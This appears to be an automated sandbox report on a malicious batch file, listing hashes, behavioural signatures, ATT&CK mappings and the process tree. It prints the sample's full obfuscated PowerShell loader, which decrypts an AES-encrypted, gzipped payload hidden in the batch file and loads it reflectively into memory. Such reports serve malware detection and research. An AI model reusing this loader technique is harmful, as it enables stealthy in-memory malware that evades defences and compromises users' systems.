7361111dc12ff526cb5391edfadb0a9ce69e75ba8d12b31122b224f9644290c0

Analysis

max time kernel
46s
max time network
48s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
04-01-2023 06:45

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General

Target

mynew.bat
Size

49KB
MD5

f010a779fc5fa3c0d6ef8d08cf2f82c3
SHA1

37dec5efe2443e43a4290473b372a40bd9f494f9
SHA256

7361111dc12ff526cb5391edfadb0a9ce69e75ba8d12b31122b224f9644290c0
SHA512

b76595be308c2e5c23e1f7e578573b1e108885d868a34ae10f18756de7f27f9be1beebc31b2e8275851bfa898f1a15b758ce3f903e7c888895a7779471670db8
SSDEEP

768:m/7oBdu40Ozbblz1Osan4ha4j0YJDH7bzzE1k07LEHZMIXlOJFt0X495YrS8ra:aEBvHblRI4hJDHnk1dvEVwJL649O2

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

mynew.bat.exe

pid process

1560 mynew.bat.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

2020 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

mynew.bat.exe

pid process

1560 mynew.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

mynew.bat.exe

description pid process

Token: SeDebugPrivilege 1560 mynew.bat.exe

pid	process
1560	mynew.bat.exe

pid	process
2020	cmd.exe

pid	process
1560	mynew.bat.exe

description	pid	process
Token: SeDebugPrivilege	1560	mynew.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2020 wrote to memory of 1560	2020	cmd.exe	mynew.bat.exe
PID 2020 wrote to memory of 1560	2020	cmd.exe	mynew.bat.exe
PID 2020 wrote to memory of 1560	2020	cmd.exe	mynew.bat.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\mynew.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2020

C:\Users\Admin\AppData\Local\Temp\mynew.bat.exe
"mynew.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $Hnouz = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\mynew.bat').Split([Environment]::NewLine);foreach ($aOvdy in $Hnouz) { if ($aOvdy.StartsWith(':: ')) { $VFBbN = $aOvdy.Substring(3); break; }; };$APbgZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VFBbN);$TxOqK = New-Object System.Security.Cryptography.AesManaged;$TxOqK.Mode = [System.Security.Cryptography.CipherMode]::CBC;$TxOqK.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$TxOqK.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OHLMkWak0mShc6SWbTBetVDMdS/ZPNqnInWDRzUQwCY=');$TxOqK.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QyA1AR4yRiYXGDMq0ZKCyQ==');$mOLfG = $TxOqK.CreateDecryptor();$APbgZ = $mOLfG.TransformFinalBlock($APbgZ, 0, $APbgZ.Length);$mOLfG.Dispose();$TxOqK.Dispose();$nIAlk = New-Object System.IO.MemoryStream(, $APbgZ);$GUMsr = New-Object System.IO.MemoryStream;$ourVj = New-Object System.IO.Compression.GZipStream($nIAlk, [IO.Compression.CompressionMode]::Decompress);$ourVj.CopyTo($GUMsr);$ourVj.Dispose();$nIAlk.Dispose();$GUMsr.Dispose();$APbgZ = $GUMsr.ToArray();$uPpYS = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($APbgZ);$vzwYm = $uPpYS.EntryPoint;$vzwYm.Invoke($null, (, [string[]] ('')))
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1560

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\mynew.bat.exe
Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\mynew.bat.exe
Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1560-55-0x0000000000000000-mapping.dmp

Download
memory/1560-57-0x000007FEFC2C1000-0x000007FEFC2C3000-memory.dmp

Filesize
8KB

Download
memory/1560-58-0x000007FEF3F40000-0x000007FEF4963000-memory.dmp

Filesize
10.1MB

Download
memory/1560-60-0x00000000026E4000-0x00000000026E7000-memory.dmp

Filesize
12KB

Download
memory/1560-59-0x000007FEF33E0000-0x000007FEF3F3D000-memory.dmp

Filesize
11.4MB

Download
memory/1560-61-0x00000000026E4000-0x00000000026E7000-memory.dmp

Filesize
12KB

Download
memory/1560-62-0x00000000026EB000-0x000000000270A000-memory.dmp

Filesize
124KB

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